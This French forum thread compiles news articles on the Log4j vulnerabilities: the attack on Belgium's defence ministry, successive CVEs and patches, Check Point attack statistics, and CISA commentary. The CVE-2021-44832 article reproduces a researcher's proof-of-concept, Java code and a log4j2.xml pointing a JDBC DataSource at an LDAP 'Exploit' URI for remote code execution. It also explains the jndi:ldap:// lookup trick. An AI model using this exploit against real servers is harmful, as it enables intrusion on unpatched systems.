1 pièce(s) jointe(s)
Le ministère de la Défense belge subit une cyberattaque en raison d'une vulnérabilité de Log4j
Le ministère de la Défense belge subit une cyberattaque en raison d'une vulnérabilité de Log4j,
l'identité des auteurs de l'attaque est toutefois inconnue
Le ministère belge de la défense a déclaré le 16 décembre avoir découvert une attaque sur son réseau informatique. L'attaque qui a eu lieu la semaine dernière en exploitant l'une des vulnérabilités de Log4j a paralysé certaines activités du ministère. « La Défense a découvert une attaque sur son réseau informatique avec accès à Internet. Des mesures de quarantaine ont été rapidement prises pour isoler les parties touchées. Cette attaque fait suite à l'exploitation de la vulnérabilité Log4j, qui a été rendue publique la semaine dernière et pour laquelle les spécialistes informatiques du monde entier s'engouffrent dans la brèche », a déclaré, Olivier Severin le porte-parole du ministère.
Depuis jeudi dernier, l'armée belge est aux prises avec les conséquences d'une grave cyberattaque. Une partie du réseau informatique ne peut être utilisée pour l'instant, précise le porte-parole. Le système de messagerie, par exemple, est en panne depuis plusieurs jours. L'attaque informatique s'est produite après qu'une faille de sécurité dans le logiciel ait été découverte la semaine dernière seulement.
Comme indiqué précédemment, l'attaque à la Défense a été causée par une faille dans la sécurité du logiciel Log4j d'Apache, largement utilisé. La faille de sécurité est apparue juste avant le week-end et représente un risque important pour les réseaux d'entreprise du monde entier, car de nombreuses applications bien connues utilisent le logiciel en question pour conserver les "journaux".
Selon le fournisseur israélien de solutions de cybersécurité Check Point Software Technologies, un groupe de pirates informatiques liés au régime iranien, surnommé Charming Kitten ou APT 35, a exploité la faille de Log4j pour lancer des attaques contre sept cibles en Israël, dont des sites gouvernementaux.
Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Il y a quelques jours, une vulnérabilité dans Log4J a été découverte. Elle permet à un cybercriminel de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement.
Grâce à Log4j, les entreprises technologiques peuvent vérifier si leurs applications fonctionnent correctement. S'il y a un défaut quelque part dans une application, un message d'erreur est envoyé via Log4j au fabricant, qui peut alors déterminer si une réparation est nécessaire. Amazon, Apple, Cloudflare, Tesla, Minecraft et Twitter, entre autres, utilisent également Log4j.
L’attaque a été causée par une faille dans la sécurité du logiciel Log4j d'Apache, largement utilisé, selon le ministère de la Défense. La faille de sécurité est apparue juste avant le week-end et représente un risque important pour les réseaux d'entreprise du monde entier, car de nombreuses applications bien connues utilisent le logiciel en question pour conserver des "journaux".
La semaine dernière, des avertissements ont été lancés concernant les problèmes causés par la fuite dans le logiciel largement utilisé. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Pour remédier à cette situation, les membres de l’Apache Software Fondation ont développé un patch.
Les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
Des chercheurs de la société de sécurité Praetorian ont déclaré qu'il y avait une vulnérabilité encore plus grave dans 2.15.0 (une faille de divulgation d'informations qui peut être utilisée pour télécharger des données à partir des serveurs concernés).
Le Centre de cybersécurité de Belgique, une organisation gouvernementale, a publié un communiqué de presse indiquant que « Les entreprises qui utilisent le logiciel Apache Log4j et qui n'ont pas encore pris de mesures peuvent s'attendre à des problèmes majeurs dans les jours et les semaines à venir. » La semaine dernière, l'Agence pour la cybersécurité et la sécurité des infrastructures (CISA) du gouvernement américain a publié une directive d'urgence exigeant que les agences fédérales prennent des mesures correctives concernant la vulnérabilité d'Apache Log4j avant le 23 décembre 2021.
Source : VRT
Et vous ?
:fleche: Quel est votre avis sur le sujet ?
Voir aussi :
:fleche: Jamais deux sans trois : Apache révèle un autre bogue dans la bibliothèque de journalisation Log4J, le troisième correctif majeur en dix jours est une faille de récursivité infinie
:fleche: Plus de 35 000 packages Java impactés par les vulnérabilités Log4j, selon un rapport de l'équipe open source de Google
:fleche: Des cybercriminels exploitent activement la faille critique dans Log4J : plus de 840 000 attaques ont été détectées, le spectre d'un scénario rappelant Heartbleed fait surface
:fleche: Les cybercriminels exploitent la faille "zero-day", alors que les entreprises prennent 97 jours en moyenne pour mettre en œuvre les correctifs, selon HP Wolf Security
3 pièce(s) jointe(s)
Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J
Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J,
les utilisateurs sont conviés à passer à la version 2.17.1
Apache a publié une autre version de Log4j, la version 2.17.1, qui corrige une vulnérabilité d'exécution de code à distance (RCE) nouvellement découverte dans Log4j 2.17.0, suivie comme CVE-2021-44832. Avant celle-ci, Log4j 2.17.0 était la version la plus récente de Log4j et était considérée comme la version la plus sûre pour la mise à niveau, mais ce conseil a maintenant évolué.
Log4j est une bibliothèque de journalisation open source basée sur Java utilisée dans des millions d'applications. Plus tôt ce mois-ci, une vulnérabilité dans Log4J a été découverte. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :
« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».
L'ASF a également décrit les mesures d'atténuation suivantes :
Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
Une nouvelle mise à jour est disponible
Un autre bogue critique d'exécution de code à distance qui est maintenant suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.
Classé «*modéré*» en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.
« JDBC Appender doit utiliser JndiManager lors de l'accès à JNDI. L'accès JNDI doit être contrôlé via une propriété système », est-il indiqué sur la description du problème. «*Lié à CVE-2021-44832 où un attaquant autorisé à modifier le fichier de configuration de journalisation peut construire une configuration malveillante à l'aide d'un appender JDBC avec une source de données référençant un URI JNDI qui peut exécuter du code à distance.*»
L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.
Le chercheur en sécurité de Checkmarx, Yaniv Nizry, a revendiqué le mérite d'avoir signalé la vulnérabilité d'Apache*:
Le tweet de Nizry a rapidement été relayé, attirant des remarques et des mèmes d'experts en sécurité et de «*victimes*» de la fatigue continue des correctifs log4j.
« J'espère que c'est une blague, j'espère tellement... #log4j », a tweeté un utilisateur en réponse.
« Nous avons LONGTEMPS dépassé le point où la seule chose responsable à faire est de mettre en place une enseigne au néon clignotante géante qui dit "LOG4J NE PEUT PAS ÊTRE RÉPARÉ, NE L'UTILISEZ PAS POUR RIEN" », a raillé un autre.
L'expert en sécurité Kevin Beaumont a qualifié l'instance d'autre «*divulgation ratée de Log4j*» pendant la période des congés.
Une divulgation trop rapide ?
Au moment du tweet de Nizry, il n'y avait pas encore d'avis ou de mémo officiel indiquant la présence d'un bogue RCE dans log4j 2.17.
Le tweet lui-même ne contenait aucun détail sur la vulnérabilité ou sur la manière dont elle pourrait être exploitée, mais, en quelques minutes, a conduit un groupe de professionnels de la sécurité et d'internautes à commencer à enquêter sur la réclamation.
La divulgation prématurée des vulnérabilités de sécurité peut inciter les acteurs malveillants à mener des activités d'analyse et d'exploitation malveillantes, comme en témoigne la fuite d'exploit Log4Shell du 9 décembre.
Marc Rogers, vice-président de la cybersécurité chez Okta a d'abord révélé l'identifiant de la vulnérabilité (CVE-2021-44832) et que l'exploitation du bogue dépend d'une configuration log4j autre que celle par défaut où la configuration est chargée à partir d'un serveur distant*:
Jusqu'à présent, les vulnérabilités de log4j ont été exploitées par toutes sortes d'acteurs malveillants, des pirates informatiques soutenus par des États aux gangs de ransomware et autres pour injecter des mineurs Monero sur des systèmes vulnérables.
Le gang de ransomware Conti a été surpris en train de surveiller des serveurs VMWare vCenter vulnérables. Les attaquants qui ont violé la plateforme de cryptographie vietnamienne, ONUS, via log4shell ont exigé une rançon de 5 millions de dollars.
Les utilisateurs de Log4j doivent immédiatement passer à la dernière version 2.17.1 (pour Java 8). Les versions rétroportées 2.12.4 (Java 7) et 2.3.2 (Java 6) contenant le correctif devraient également être publiées sous peu.
Détails techniques de la nouvelle faille
Yaniv Nizry, un chercheur de la société de sécurité Checkmarx a découvert cette vulnérabilité RCE :
« Étant des chercheurs extrêmement concentrés et dévoués, nous voulions faire nous-mêmes un audit de sécurité sur le package log4j dans l'espoir de trouver quelque chose d'intéressant. Et après une semaine d'examen du code et de tests, nous avons rencontré une nouvelle vulnérabilité de sécurité de désérialisation non découverte. Cette vulnérabilité n'utilise pas la fonction de recherche désactivée. La complexité de cette vulnérabilité est plus élevée que la CVE-2021-44228 d'origine car elle nécessite que l'attaquant ait le contrôle de la configuration (comme la vulnérabilité «*logback*» CVE-2021-42550). Contrairement à logback, dans log4j, il existe une fonctionnalité permettant de charger un fichier de configuration à distance ou de configurer l'enregistreur via le code, de sorte qu'une exécution de code arbitraire pourrait être réalisée avec une attaque MITM, l'entrée de l'utilisateur se retrouvant dans une variable de configuration vulnérable ou en modifiant le fichier de configuration.
« En examinant les fonctionnalités de log4j, nous sommes tombés sur les fonctionnalités «*Appender*». Les appenders sont essentiellement l'endroit où sortir les journaux, nous avons donc par exemple ConsoleAppender, FileAppender, etc.
« Le JDBCAppender a attiré notre attention car il existe des moyens publics d'obtenir RCE via la désérialisation Java JDBC (voir cette conférence Blackhat de Yongtao Wang, Lucas Zhang et Kunzhe Chai pour plus d'informations.)
« Mais avant d'aborder la désérialisation JDBC dans log4j, nous avons remarqué que dans la documentation il existe un moyen de configurer log4j pour qu'il récupère la source de la base de données dynamiquement et à distance via JNDI ».
Il a également donné des étapes à reproduire, notamment la récupération de la configuration à distance via HTTP*:
Code:
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
En utilisant le même serveur LDAP (Lightweight Directory Access Protocol) que dans le PoC (Proof of Concept) CVE-2021-44228, tout ce que nous avons à faire est d'exécuter*:
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| //log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
}
} |
Et pour servir le log4j2.xml suivant*:
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration> |
Quels résultats attendre ? Lors de l'initialisation de l'objet logger, une requête au log4j2.xml distant sera effectuée. Dans le processus de chargement, une tentative de chargement de l'objet DataSource fera une requête au serveur LDAP qui redirigera alors vers une classe malveillante. À la fin, la classe arbitraire sera désérialisée et exécutée.
Pourquoi est-ce critique ? « L'impact de la vulnérabilité log4shell (alias CVE-2021-44228) sur l'industrie était important, et un large éventail d'organisations ont déclaré avoir été affectées. Cela démontre la grande échelle des entreprises qui utilisent log4j dans leurs écosystèmes. L'équipe log4j d'Apache a travaillé dur pour ajouter des correctifs de sécurité à la dernière version de log4j (2.17.0) pour désactiver les recherches et autoriser une liste de protocoles/hôtes. Comme vous pouvez le voir, en utilisant un vecteur d'attaque différent, il est toujours possible de réaliser une exécution de code arbitraire en utilisant la configuration par défaut ».
Source : Checkmarx
3 pièce(s) jointe(s)
Les cyberattaques ont augmenté de 50 % en 2021, avec un pic en décembre, à cause de la faille dans Log4J
Les cyberattaques ont augmenté de 50 % en 2021 et atteint un pic en décembre, à cause de la faille qui a impacté la bibliothèque logicielle Log4J, d'après une analyse Check Point Research
En ce début d’année, Check Point Research (CPR) partage les statistiques mondiales des augmentations de cyberattaques observées en 2021 par région, pays et industrie. L'année dernière, CPR a constaté une augmentation de 50 % des cyberattaques par semaine sur les réseaux d'entreprise par rapport à 2020, avec un pic en décembre, en grande partie dû à la faille de sécurité qui a impacté Log4J.
Les pirates ont surtout ciblé l'Afrique, l'Asie-Pacifique et l'Amérique latine, mais l'Europe a connu la plus forte augmentation en pourcentage des cyberattaques d'une année sur l'autre. Le secteur de l'éducation et de la recherche est le plus ciblé au monde.
- Les cyberattaques contre le secteur de l'éducation et de la recherche ont augmenté de 75 % en 2021.
- Les cyberattaques contre le secteur public ont augmenté de 47 % en 2021.
- Les cyberattaques contre le secteur de la santé ont augmenté de 71 % en 2021.
Check Point Research (CPR) partage les statistiques mondiales des augmentations des cyberattaques contre les organisations en 2021 par région, pays et secteur d'activité. L'année dernière, CPR a constaté 50 % de cyberattaques en plus par semaine sur les réseaux d'entreprise par rapport à 2020. La tendance à l'augmentation des cyberattaques a atteint un niveau record fin 2021 après les révélations de l'exploit Log4J, avec un pic à 925 cyberattaques par semaine et par organisation, au niveau mondial.
Les secteurs les plus ciblés par les pirates informatiques dans le monde en 2021
1 - Enseignement/Recherche (+75%)
2 - Gouvernement/Militaire (+47%)
3 - Communications (+51%)
4 - ISP/MSP (67%)
5 - Santé (71%)
Régions les plus visées
1 - Afrique (+13%)
2 - Asie Pacifique (+25%)
3 - Amérique Latine
4 - Europe (+68%)
5 - Amérique du Nord (+61%)
Déclaration d'Omer Dembinsky, responsable de la recherche sur les données, chez Check Point Software :
« Les pirates informatiques ne cessent d'innover. L'année dernière, nous avons constaté une augmentation stupéfiante de 50 % des cyberattaques perpétrées chaque semaine, sur les réseaux d'entreprise par rapport à 2020 - c'est une augmentation considérable. Le nombre de cyberattaques a atteint un pic vers la fin de l'année, en grande partie en raison de la faille de sécurité qui a touché la bibliothèque Log4J. Grâce aux nouvelles techniques d’intrusion et aux méthodes d'évasion, les pirates peuvent désormais mettre plus facilement à exécution leurs intentions malveillantes. Ce qui est plus alarmant, c'est que certains secteurs essentiels de la société (les OIV) figurent dans la liste des cibles. Les secteurs de l'éducation, de l'administration et de la santé figurent dans le top 5 des secteurs les plus attaqués au niveau mondial. Je m'attends à ce que ces chiffres augmentent en 2022, car les pirates continueront d'innover et de trouver de nouvelles méthodes pour exécuter des cyberattaques, en particulier des ransomwares. Pour ainsi dire, nous sommes dans une cyber pandémie. J'invite instamment le public, et en particulier les personnes travaillant dans les secteurs de l'éducation, de l'administration et de la santé, à se familiariser avec les principes de base de la cyber protection. Des mesures simples telles que l'application de correctifs, la segmentation des réseaux et la formation des employés peuvent contribuer grandement à rendre le monde plus sûr. »
Conseils de sécurité :
- Prévenir
- Tout sécuriser
- Appliquer régulièrement des correctifs
- Segmenter les réseaux
- Former les employés
- Installer des technologies de sécurité avancées
Les données utilisées dans ce rapport ont été détectées par les technologies Threat Prevention de Check Point, puis stockées et analysées dans ThreatCloud. ThreatCloud fournit des renseignements sur les menaces en temps réel provenant de centaines de millions de capteurs dans le monde entier, sur les réseaux, les terminaux et les mobiles. ThreatCloud est en fait le cerveau qui se cache derrière la puissance de prévention des menaces de Check Point Software, il combine les renseignements sur les menaces du Big Data avec des technologies avancées d'IA pour fournir une prévention précise à tous les clients de Check Point Software.
Source : Check Point Research
Et vous ?
:fleche: Trouvez-vous cette analyse pertinente ?
Voir aussi :
:fleche: 95 000 cyberattaques ont été recensées cette année, une augmentation de 45 398 par rapport à 2020, les grandes entreprises étant les plus ciblées, selon Orange Cyberdefense
:fleche: Les ransomwares ont augmenté de 62 % depuis 2019, avec un pic de 158 % en Amérique du Nord, les cybercriminels utilisant des tactiques plus sophistiquées et des variantes plus dangereuses comme Ryuk
:fleche: Les entreprises de taille moyenne sont 490 % plus susceptibles d'être victimes d'une atteinte à la vie privé, dû au manque de ressources et au coût élevé des expertises, selon Coro
1 pièce(s) jointe(s)
Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années
Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années
et servir à des intrusions futures dans les systèmes des entreprises
Les professionnels de la sécurité seront confrontés aux retombées du bogue Log4j pendant longtemps, ont déclaré lundi de hauts responsables de la Cybersecurity and Infrastructure Security Agency (CISA). Si elle n'est pas corrigée ou autrement non corrigée, la faille de sécurité majeure découverte il y a un mois dans la bibliothèque de journalisation Java Apache Log4j présente des risques pour d'énormes pans d'Internet. La vulnérabilité du logiciel largement utilisé pourrait être exploitée par des cyberattaquants pour s'emparer de serveurs informatiques, mettant potentiellement tout, de l'électronique grand public aux systèmes gouvernementaux et d'entreprise, en danger de cyberattaque.
Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.
Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.
Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.
La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».
Des preuves de concept ont déjà été publiées. Cette vulnérabilité fait l'objet d'une exploitation active.
La sévérité de la brèche est maximale 10 sur l’échelle CVSS.
Elle permet donc à un attaquant de provoquer une exécution de code arbitraire à distance s'il a la capacité de soumettre une donnée à une application qui utilise la bibliothèque log4j pour journaliser l'évènement. Cette attaque peut être réalisée sans être authentifié, par exemple en tirant parti d'une page d'authentification qui journalise les erreurs d'authentification. Les entreprises spécialisées en cybersécurité ont indiqué que le nombre d'attaques profitant de cette faille se multiplient. Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.
Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.
Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.
La version 2.15.0 ne résolvait pas un autre problème - CVE-2021-45046 - qui permettait à un attaquant distant contrôlant le Thread Context Map (MDC) de préparer une entrée malveillante à l'aide d'un modèle de recherche JNDI. Le résultat pourrait être l'exécution de code à distance, heureusement pas dans tous les environnements.
La version 2.16.0 a résolu ce problème. Mais elle n'a pas corrigé CVE-2021-45105, que l'Apache Software Foundation décrit comme suit :
« Les versions 2.0-alpha1 à 2.16.0 d'Apache Log4j2 ne protégeaient pas contre la récursivité incontrôlée des recherches auto-référentielles. Lorsque la configuration de la journalisation utilise une disposition de modèle autre que celle par défaut avec une recherche de contexte (par exemple, $${ctx:loginId}), les attaquants contrôlant les données d'entrée de Thread Context Map (MDC) peuvent créer des données d'entrée malveillantes contenant une recherche récursive, ce qui entraîne une StackOverflowError qui mettra fin au processus. Ceci est également connu sous le nom d'attaque DOS (Denial of Service) ».
Le programme de primes de bogues indépendant des fournisseurs, Zero Day Initiative, a décrit la faille comme suit :
« Lorsqu'une variable imbriquée est remplacée par la classe StrSubstitutor, elle appelle récursivement la classe substitut(). Cependant, lorsque la variable imbriquée fait référence à la variable à remplacer, la récursivité est appelée avec la même chaîne. Cela conduit à une récursivité infinie et à une condition DoS sur le serveur ».
L'ASF a également décrit les mesures d'atténuation suivantes :
- Dans PatternLayout dans la configuration de la journalisation, remplacez les recherches de contexte comme ${ctx:loginId} ou $${ctx:loginId} par les modèles de mappe de contexte de thread (%X, %mdc ou %MDC) .
- Sinon, dans la configuration, supprimez les références aux recherches contextuelles telles que ${ctx:loginId} ou $${ctx:loginId} lorsqu'elles proviennent de sources externes à l'application telles que les en-têtes HTTP ou les entrées utilisateur.
La faille a été corrigée dans Log4j 2.17.0 (Java 8).
Un autre bogue critique d'exécution de code à distance qui est maintenant suivi en tant que CVE-2021-44832 a été découvert dans la même bibliothèque de journalisation Apache Log4j. Il s'agit de la quatrième vulnérabilité de la bibliothèque Log4j.
Classé « modéré » en gravité avec un score de 6,6 sur l'échelle CVSS, la vulnérabilité provient du manque de contrôles supplémentaires sur l'accès JDNI dans log4j.
L'équipe de sécurité d'Apache a publié une autre version d'Apache Log4J (version 2.17.1) corrigeant le bogue d'exécution de code à distance CVE-2021-44832 récemment découvert. C'est une autre mauvaise situation pour la plupart des utilisateurs, mais, encore une fois, il est fortement recommandé de mettre son système à jour pour résoudre ce problème critique.
La prise de parole du CISA
Aucune agence fédérale américaine n'a été compromise en raison de la vulnérabilité, a déclaré lundi la directrice de la CISA, Jen Easterly, aux journalistes lors d'un appel. En outre, aucune cyberattaque majeure impliquant le bogue n'a été signalée aux États-Unis, bien que de nombreuses attaques ne soient pas signalées, a-t-elle déclaré.
Easterly a déclaré que l'étendue de la vulnérabilité, qui affecte des dizaines de millions d'appareils connectés à Internet, en fait la pire qu'elle ait vue dans sa carrière. Il est possible, a-t-elle dit, que les attaquants attendent leur heure, attendant que les entreprises et autres baissent leurs défenses avant d'attaquer.
« Nous nous attendons à ce que Log4Shell soit utilisé dans les intrusions dans le futur », a déclaré Easterly. Elle a noté la violation de données d'Equifax en 2017, qui a compromis les informations personnelles de près de 150 millions d'Américains, découlait d'une vulnérabilité dans un logiciel open source.
Jusqu'à présent, la plupart des tentatives d'exploitation du bogue se sont concentrées sur le minage de crypto-monnaies de bas niveau ou sur des tentatives d'attirer des appareils dans des botnets, a-t-elle déclaré.
L'une des premières attaques connues utilisant la vulnérabilité impliquait le jeu informatique Minecraft. Les attaquants ont pu s'emparer de l'un des serveurs du jeu de construction du monde avant que Microsoft, propriétaire de Minecraft, ne corrige le problème.
Il y a eu de grosses attaques ailleurs. Le ministère belge de la défense a déclaré le 16 décembre avoir découvert une attaque sur son réseau informatique. L'attaque a paralysé certaines activités du ministère. « La Défense a découvert une attaque sur son réseau informatique avec accès à Internet. Des mesures de quarantaine ont été rapidement prises pour isoler les parties touchées. Cette attaque fait suite à l'exploitation de la vulnérabilité Log4j, qui a été rendue publique la semaine dernière et pour laquelle les spécialistes informatiques du monde entier s'engouffrent dans la brèche », a déclaré Olivier Severin le porte-parole du ministère.
Source : entretien avec la Directrice du CISA Jen Easterly
1 pièce(s) jointe(s)
Log4j : une entreprise du Fortune 500 exige des réponses rapides et gratuites du créateur de cURL
Log4j : une entreprise du Fortune 500 exige des réponses rapides et gratuites du créateur de cURL,
qui leur a indiqué qu'il le ferait « dès que nous aurons signé un contrat de support »
Daniel Stenberg, le créateur de cURL, a reçu un courriel en provenance d'une entreprise appartenant au Fortune 500, le classement des 500 premières entreprises américaines classées selon l'importance de leur chiffre d'affaires. Ladite entreprise (ou ses clients) utilisait probablement cURL et, dans le contexte de la vulnérabilité dans la bibliothèque de journalisation Apache log4j, lui a posé une série de questions pour savoir entre autres si cURL s'appuyait sur log4j. « Si vous êtes une entreprise de plusieurs milliards de dollars et que vous êtes préoccupé par log4j, pourquoi ne pas simplement envoyer un e-mail aux auteurs OSS à qui vous n'avez jamais rien payé et exiger une réponse gratuite dans les 24 heures avec beaucoup d'informations ? » a-t-il demandé en présentant le courriel qu'il a reçu
Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.
Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap://est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.
